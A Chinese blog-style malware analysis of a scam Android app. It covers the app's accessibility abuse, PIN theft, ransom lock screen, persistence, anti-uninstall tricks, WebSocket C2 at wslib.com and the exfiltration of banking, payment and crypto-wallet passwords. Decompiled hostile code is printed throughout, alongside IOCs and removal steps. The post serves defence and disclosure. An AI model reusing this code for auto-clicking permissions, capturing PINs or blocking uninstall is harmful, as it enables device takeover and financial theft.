APK 信息,这里就不写是那个骗子APP名字了
文件名:XXX.apk
文件大小:17.3 MB (18,238,424 字节)
应用名:XXX
行为
应用程序启动时,会要求开启无障碍权限。

这种招数已经见怪不怪,骗子的 APP 通常会使用无障碍权限来操控用户的手机,作用是当用户进入应用信息时为了防止卸载而模拟按下的返回和深夜操控受害者的手机对骗子的账户进行转账操作。
开启无障碍权限后,应用程序会全屏占用手机屏幕,用户无法操作。

这是因为应用程序被授予了无障碍权限,应用程序可以置顶,以前看到过的 Android 锁机,也是通过要无障碍权限来实现的。
该屏幕推测可能是为了连接到骗子的服务器。
因为我使用的是 Windows 上运行的 Android 子系统,可以透过它的全屏界面去看,我亲眼看见了在等待期间,它自己用无障碍进应用设置把自己的所有权限打开了。
这个过程太快了,所以我没有录制到。
等待完成后,要求用户输入手机锁屏密码

而且第一次输入后无论密码是否正确都会提示错误,大概是因为怕用户第一次输入得不准确,所以让用户再输入一次。

但是,这个模拟器没有锁屏密码
我两次输入的都是114514,但是第二次输入过后,程序才关闭了界面。
做这些事情大概算为了晚上的时候能够解锁用户的手机。
向通知栏发送空的通知

因为使用的是 Windows 上运行的 Android 子系统,所以通知由 Windows 原生通知完成。由于原生通知中如果是空内容就会被替换成“新通知”,因此我们看到的是“新通知”,实则是一个空的,无法划掉的通知)
开启无障碍权限之后程序还会向用户的通知栏发送一个空的通知,应该是为了持久化,防止被系统杀掉。
开启所有权限并关闭电池优化
还记得上面哪个自己使用无障碍来开权限的吗?
它自己进入了电池优化的设置,并使用无障碍关闭了电池优化,实现持久化运行。
分析使用了 JADX 和 适用于 Android™ 的 Windows 子系统
以下为反编译 + 静态分析补充,把上面动态看到的现象和代码对应起来,并补全它真正在干什么。代码里的字符串原本全是加密的,我批量解密了 3400+ 处,所以下面的字段名、URL、包名都是明文。混淆的类名/方法名我在旁边都加了
/* 作用 */注释。
命名混淆与字符串加密
作者把所有敏感字符串都用v90.a(byte[] data, byte[] key)加密——本质是"逐字节异或、密钥循环复用、UTF-8 还原",实现在w90.java:
// w90.java —— 真正的解密实现(v90.a 只是转发给它)privatestaticbyte[] b(byte[] bArr, byte[] bArr2) {int length = bArr.length, length2 = bArr2.length;int i = 0, i2 = 0;while (i < length) {if (i2 >= length2) i2 = 0; // 密钥用完就从头再来bArr[i] = (byte) (bArr[i] ^ bArr2[i2]); // 逐字节 XORi++; i2++;}return bArr;}
反编译出来时长这样(加密态):
nv.c(ctx, v90.a(new byte[]{-2,110,-39,4,-100,-90,-101,-99}, new byte[]{-97,2,-75,91,-8,-55,-11,-8}));解密后还原成明文"all_done"。整个 APK 里这种调用有 3400+ 处。另外还有两层:
cg0.z(byte[], String)
:用字符串密钥vnhnyrftgmalqzz1解密 assets 下的.bt钓鱼 HTML 页面。
ov.a(String)
:AES/CBC解密最关键的 URL(C2 落地页),密钥由 PBKDF2 派生(见 IOC)。
类名也全被混淆成乱码,对照表:

基本信息

1. 那个"全屏等待"界面 = 连 C2 + 加载钓鱼页
qxxox.onCreate()(主入口 Activity)里,等待界面其实是一个 WebView,加载的 URL 是 AES 解密出来的:
// qxxox.java:488this.g = ov.c().a(pcdtukypfbre.bzbquk);// pcdtukypfbre.bzbquk = "+82loeJglprY/XN3A5nRS/BOwuD0AFC/JohHOCEx9dE="// ov.c().a(...) 用 AES 解密 → "https://91*****05.com"...this.f.loadUrl(this.g); // WebView 加载钓鱼/中转页
同时它在后台把三个核心服务拉起来(qxxox.java:437-462),其中ftwqfjnbnqw就是连 C2 的:
// ftwqfjnbnqw.java:249 —— 连接入口publicvoidn() {synchronized (h) {if (!y80.b() && !i) { // 没连上 && 没在连接中i = true;this.b.postDelayed(this.c, 15000L); // 15s 超时保护y80.c(new b()); // ← 发起 WebSocket 连接}}}
// y80.java:24 —— 真正连到 C2public static void c(ji0 ji0Var) { // ji0 = OkHttp WebSocketListenerString str = pcdtukypfbre.Sockets_Servers; // "wss://wslib.com/api/ws/"...a = c.y(new j50.a().f(str).a(), ji0Var); // j50 = OkHttp Request.Builder}
连上后服务器回{"type":"connected"}握手,客户端立刻回心跳包D()——这个心跳里夹带了设备指纹和已偷到的全部支付密码(见第 8 节)。
2. C2 协议全貌(怎么收、怎么发)
收:WebSocket 收到文本帧 → 监听器b.d()→r(str)路由(按 JSON 的type字段分发):
// ftwqfjnbnqw.java:343 —— 下行指令路由public void r(String str) {JSONObject jSONObject = new JSONObject(str);String type = jSONObject.optString("type", "empty");switch (type) {case "connected": D(); o(); break; // 服务器握手 → 回心跳 + 拉起服务case "out": B(); break; // 停止录屏/锁屏子服务case "close": y80.a(); break; // 断开(发 close 4999)case "screen": g.h(...); break; // 启动屏幕实时推流case "screencomd": g.i(...); break; // 屏幕控制(黑屏等)case "mic": g.g(...); break; // 录音case "loc": g.f(...); break; // 定位case "bc": g.j(...); break; // 广播case "fetch": case "file": default: g.e(...); // 主指令分发器(见第 7 节)}}
发:所有上行统一走E(str)→y80.d(str)(加锁发送文本帧):
// ftwqfjnbnqw.java:134public static void E(String str) {synchronized (h) { y80.d(str); } // y80.d 内部:if(已连接) webSocket.send(str)}
上行报文是固定信封的 JSON:
// ftwqfjnbnqw.java:648 —— 通用回传JSONObject jSONObject = new JSONObject();jSONObject.put("pid", strA); // 设备指纹(ANDROID_ID+Build 的 MD5)jSONObject.put("itype", "Slr_client"); // 客户端类型常量jSONObject.put("subc", str); // 子类型,如 "screen" / "sms" / "files"jSONObject.put("msg", str2); // 载荷E(jSONObject.toString());
3. "自己用无障碍开权限"——对应代码
你抓不到的那段自动开权限,代码在a.h()(a.java:642)。它认识全厂商的权限弹窗 ID 并自动performAction(16)(=ACTION_CLICK,模拟点击):
// a.java:651 —— 自动点"允许"String[] strArr = {"@com.android.packageinstaller:id/confirm_button","com.android.packageinstaller:id/permission_allow_button","com.android.packageinstaller:id/permission_allow_always_button","com.android.permissioncontroller:id/permission_allow_button","com.android.settings:id/allow_button","com.lbe.security.miui:id/permission_allow_foreground_only_button", // 小米 MIUI"@vivo:id/confirm_msg", // vivo"miui:id/grant", "miui:id/action_positive", // MIUI 授权"android:id/button1", "android:id/aerr_wait" // 通用"确定"/"等待"/* ... 共 16 个 */};for (int i2 = 0; i2 < 16; i2++) {for (AccessibilityNodeInfo n : accessibilityNodeInfo.findAccessibilityNodeInfosByViewId(strArr[i2])) {n.performAction(16); // 自动点击"允许"}}
所以 SMS、通讯录、相机、麦克风、存储这些权限,它能在你毫无察觉下自己点完——自己把所有权限打开。
4. 为什么要锁屏密码——半夜解锁 + 锁机勒索
4.1 锁屏密码是怎么偷到的
它监听真正的系统锁屏com.android.systemui,用无障碍读取你按下的数字键盘(每个数字键的contentDescription就是数字),逐位拼进kvepxjezjhab.R:
// kvepxjezjhab.java:787 —— k() 锁屏密码捕获publicvoidk(AccessibilityEvent accessibilityEvent) {...if (... && "com.android.systemui".equals(accessibilityEvent.getPackageName())) {if (l(source.getViewIdResourceName())) { // l() 用正则识别 PIN 数字键R += Integer.parseInt(source.getContentDescription().toString()); // 累加按下的数字nv.c(N, "asd", "1"); // asd 只是状态码,不是密码}// 退格键处理:用户按删除时同步删一位if ("com.android.systemui:id/delete_button".equals(source.getViewIdResourceName())|| "com.android.systemui:id/vivo_cancel".equals(...)) {R = R.substring(0, R.length() - 1);}}}
所以你平时解锁手机时输入的 PIN,它在后台一字不差地记下来,回传时归入"钓鱼密码"字段(tc.Q)。asd键只存采集流程的状态码(1–5),不是密码本身。
4.2 锁机勒索(你看到的"输入两次")
C2 可下发锁屏指令,拉起hfnlkncjf这个全屏锁屏 Activity:
// g.java:987 —— 锁机Intent intent3 = new Intent(context, hfnlkncjf.class); // hfnlkncjf = 锁屏勒索 Activityintent3.putExtra("COM", tc.a + 80); // 锁屏参数context.startActivity(intent3);
hfnlkncjf在 Manifest 里带showOnLockScreen+showWhenLocked+turnScreenOn,把手机锁死,要你输入攻击者设定的 PIN。第一次输入提示错误、让你再输一次——是它故意做二次确认(你观察到的现象),同时这次输入的 PIN 又被k()偷走。
用途:① 半夜用偷到的 PIN 解锁你的手机 + 录屏,打开银行/支付 App 转账;② 直接锁机勒索。
5. 通知栏空通知 + 电池优化——保活
5.1 空通知(前台服务钉死)
// kvepxjezjhab.java:524 —— e() 挂一个前台服务通知mw.c cVar = new mw.c(context, ...) // mw.c = NotificationCompat.Builder.h(pcdtukypfbre.lpaozxb) // 通道 id.g(str) // 标题(空字符串 → 通知栏看不出来)....d(true); // 持续startForeground(...); // 钉成前台服务,系统不敢杀
.2 开机自启 + 事件自愈
// BootReceiver.java:15 —— 开机/重启/快速开机都拉起服务if ("android.intent.action.BOOT_COMPLETED".equals(intent.getAction())) {bq.a(context); // bq.a = 注册 JobScheduler 周期任务}// 然后无条件拉起 lttsqoslcz / hxurfdshugab / ftwqfjnbnqw 三个核心服务
esetServices更狠——监听十几种系统广播,任何一条都重启服务:
<!-- AndroidManifest.xml —— ResetServices 的 intent-filter --><actionandroid:name="android.intent.action.AIRPLANE_MODE"/><actionandroid:name="android.intent.action.BATTERY_LOW"/><actionandroid:name="android.intent.action.BATTERY_OKAY"/><actionandroid:name="android.intent.action.TIME_TICK"/> <!-- 每分钟触发 --><actionandroid:name="android.intent.action.LOCALE_CHANGED"/><actionandroid:name="android.intent.action.DEVICE_STORAGE_LOW"/><!-- ... -->
5.3 JobScheduler 周期唤醒
// bq.java:11 —— 每 15 分钟周期任务JobInfo.Builder builder = new JobInfo.Builder(100,new ComponentName(context, MyJobService.class));builder.setRequiredNetworkType(1); // 有网时builder.setPersisted(true); // 重启后仍生效builder.setPeriodic(900000L); // 15 分钟jobScheduler.schedule(builder.build());
整套保活 =3 个persistent=true前台服务(hxurfdshugab/ftwqfjnbnqw/lttsqoslcz)+ 多个普通前台服务 + 开机自启 + 十几种广播自愈 + JobScheduler 15 分钟唤醒 + 关电池优化进白名单,几乎杀不掉。
6. 反卸载机制(为什么进应用信息会被顶出来)
这就是"进入应用信息时模拟按下返回"。两套:
6.1 应用信息页拦截
// m.java:1350 —— E0(),检测到应用详情页就顶出去if (accessibilityEvent.getEventType() == 32 /*WINDOW_STATE_CHANGED*/&& "com.android.settings.applications.InstalledAppDetailsTop".equals(accessibilityEvent.getClassName())) { // 用户进了"应用信息"页g3(...);O0(); // 内部 performGlobalAction(BACK/HOME) 把界面顶走}
performGlobalAction(1)=BACK、(2)=HOME、(3)=RECENTS——你一进应用信息就被弹回桌面,根本够不到"卸载/禁用"按钮。
6.2 桌面长按卸载拦截(最强的反卸载)
你在桌面长按图标选"卸载"时,h.h()识别全厂商的卸载确认框,自动点"取消"按钮(android:id/button2):
// h.java:125+ —— 识别各厂商卸载弹窗并点取消// 华为 com.huawei.android.launcher:id/delete_item// 小米 com.miui.home:id/title// OPPO com.oppo.launcher:id/txt_uninstall_main_title// Honor com.hihonor.android.launcher:id/delete_item// vivo com.bbk.launcher2:id/uninstall_title// 原生 com.android.launcher:id/......if (z) { // 识别到卸载弹窗accessibilityNodeInfoB.performAction(16); // 点"取消"(android:id/button2)kvepxjezjhab.N.performGlobalAction(2); // 回桌面f(false); // ← 关键:隐藏图标}
f(false)里通过setComponentEnabledSetting把当前启动器图标 disable:
// h.java:81 —— 隐藏桌面图标packageManager.setComponentEnabledSetting(new ComponentName(kvepxjezjhab.N, A1.class), // A1 = 当前启用的启动器入口2 /*COMPONENT_ENABLED_STATE_DISABLED*/, 1);
结果:卸载被取消 + 图标从桌面消失,用户以为"没了",其实程序还在跑。
好消息:它没有申请设备管理员(Device Admin)权限(Manifest 无
BIND_DEVICE_ADMIN),所以不是系统级固化,一定能卸掉,只是要绕过无障碍服务。
7. 连上 C2 后能干什么——指令集
主分发器g.e()按下行的subc字段执行(已解密):

挑几个关键的看代码:
远程卸载任意 App:
// g.java:844 —— case UNINSTALLAPPString pkg = jSONObject.optString("package", "empty");Intent intent2 = new Intent("android.intent.action.UNINSTALL_PACKAGE");intent2.setData(Uri.parse("package:" + pkg));context.startActivity(intent2);
用你的手机偷偷发短信:
// g.java:792 —— case SMSSENDv80.b(context, jSONObject.optString("smsnumber", "empty"), // v80.b = SmsManager.sendTextMessagejSONObject.optString("message", "empty"));
8. 窃取的数据
心跳包D()里集中回传的密码字段(ftwqfjnbnqw.java:128),直接暴露了它盯上的国内金融 App 全名单:
// ftwqfjnbnqw.java:128 —— D() 心跳,回传所有偷到的密码k(f, p(..., String.format("手机密码: %s 钓鱼密码: %s Alipay密码: %s Wechat密码: %s 云密码: %s "+ "建密码: %s 邮密码: %s 农密码: %s 中密码: %s 工密码: %s 招密码: %s "+ "gp密码: %s pe密码: %s an密码: %s mb密码: %s bc密码: %s "+ "Trust密码: %s Imtoken密码: %s Tokenpocket密码: %s",v(nv.a(f,"asd","")), nv.a(f,tc.Q,""), // 手机锁屏PIN / 钓鱼密码nv.a(f,"alipaynew",""), nv.a(f,"wecpaynew",""), // 支付宝 / 微信nv.a(f,"yunnew",""), nv.a(f,"jiannew",""), // 云(云闪付) / 建nv.a(f,"younew",""), nv.a(f,"nongnew",""), // 邮 / 农nv.a(f,"zhongnew",""), nv.a(f,"gongnew",""), // 中 / 工nv.a(f,"zhaonew",""), nv.a(f,"gpaynew",""), // 招 / gpnv.a(f,"phonepenew",""), nv.a(f,"ananew",""), // pe / annv.a(f,"mbnew",""), nv.a(f,"bcnew",""), // mb / bcnv.a(f,"twpwd",""), nv.a(f,"paytp",""), // Trust / TokenPocketnv.a(f,"payim",""))), // imToken"ping");
明摆着就是:支付宝、微信、云闪付、建/邮/农/中/工/招各大银行、Trust Wallet、imToken、TokenPocket等钱包的支付密码。
外加持续外发:短信(含验证码)、通讯录、键盘记录、实时屏幕、相机、定位、本机 IP、壁纸、已装 App 列表。
浏览器地址栏劫持
tc.java里硬编码了一串浏览器 URL 栏的 view-id,实时读取你访问的网址:
// tc.java(cg0.e 解密后)—— 监控各浏览器地址栏"com.android.chrome:id/url_bar" // Chrome"org.mozilla.firefox:id/url_bar_title" // Firefox"com.sec.android.app.sbrowser:id/location_bar_edit_text" // Samsung"com.brave.browser:id/url_bar" // Brave"com.opera.browser:id/url_field" // Opera"com.duckduckgo.mobile.android:id/omnibarTextInput" // DuckDuckGo"com.microsoft.emmx:id/url_bar" // Edge"com.coloros.browser:id/azt" // OPPO 浏览器/* ... 你访问什么网址它都知道 */
9. 域名热更新(为什么封域名没用)
指令change对应g.e()的 case 11,直接改写内存里的 C2 地址,1.6 秒后断开重连:
// g.java:861 —— case 11,热更换 C2 域名case 11:String domain = jSONObject.optString("domain", "empty"); // 新域名jSONObject.optString("ip", "empty"); // 读但没用String changeid = jSONObject.optString("changeid", "empty"); // 变更IDpcdtukypfbre.mydom = domain; // ① 改静态字段pcdtukypfbre.Sockets_Servers = "wss://" + domain + "/api/ws/"; // ② 拼新 WS 地址nv.c(context, "changeid", changeid); // ③ 记录变更IDnew Handler(Looper.getMainLooper()).postDelayed(new c(), 1600L); // ④ 1.6s 后断开重连break;
// g.java:57 —— 内部类 c,断开当前连接class c implements Runnable { public void run() { ftwqfjnbnqw.g(); } }
重连时y80.c()实时读取最新的Sockets_Servers,所以下一次连接就打到新域名。
两个关键点:
新域名不落盘——mydom/Sockets_Servers是内存静态字段,重启后回到硬编码的wslib.com,由服务器在会话内再次下发change。
运行期即时生效——封了wslib.com,运营者从备用域下发一条{"subc":"change","domain":"..."}就能把整个僵尸网络迁过去。所以防御必须按协议特征(/api/ws/路径 +{"itype":"Slr_client"}信封 + 关闭码4999)拦,而不是只封域名。
IOC(取证/检测特征)
域名:wslib.com、91*****05.com
WebSocket:wss://wslib.com/api/ws/,错误上报https://wslib.com/api/Error.php
协议指纹:JSON 信封{"pid":...,"itype":"Slr_client","subc":...}、WS 关闭码4999
资源密钥:vnhnyrftgmalqzz1
AES 常量(PBKDF2-HmacSHA1,65536 轮,128 位):IV2230209522049090、口令4814780584699673、盐2894356330652558
包路径:org.integrator.pipeliner.watchdog.*、guardian.enforcer.op*
Manifest 标记:com.google.android.ALLOW_PHISHING_DETECTION=false(主动关 Google 反钓鱼)
文案:XX、偷**妻、加载中~请勿触碰屏幕或锁屏!
如何卸载(绕过无障碍服务)
电脑 + adb(adb 以 shell 身份运行,无障碍拦不住):
adb shell settings put secure enabled_accessibility_services ""adb shell settings put secure accessibility_enabled 0adb shell pm uninstall --user 0 twanztjjdestn.jluqcxbwjiq.anvrqchc.pnltn.wsdqnsvhqhmmzh
使用安全模式:关机重开,出现 logo 时长按音量减(小米/华为/OPPO/vivo 通用),进安全模式后第三方 App 和它的无障碍服务都不运行,再到「设置→应用」正常卸载。
重要:卸载前先断网/拔 SIM 卡,防止 C2 察觉后下发
DIAO(锁机) 或black_scr(黑屏) 把你锁死。
卸载后必做:短信验证码、支付密码、屏幕内容都已外泄。从另一台可信设备改掉所有银行/支付/社交/邮箱密码、联系银行核对流水、检查「下载」目录有没有它额外下载的二次载荷,必要时恢复出厂设置。
分析过程使用了 GLM 进行了辅助。
夜雨聆风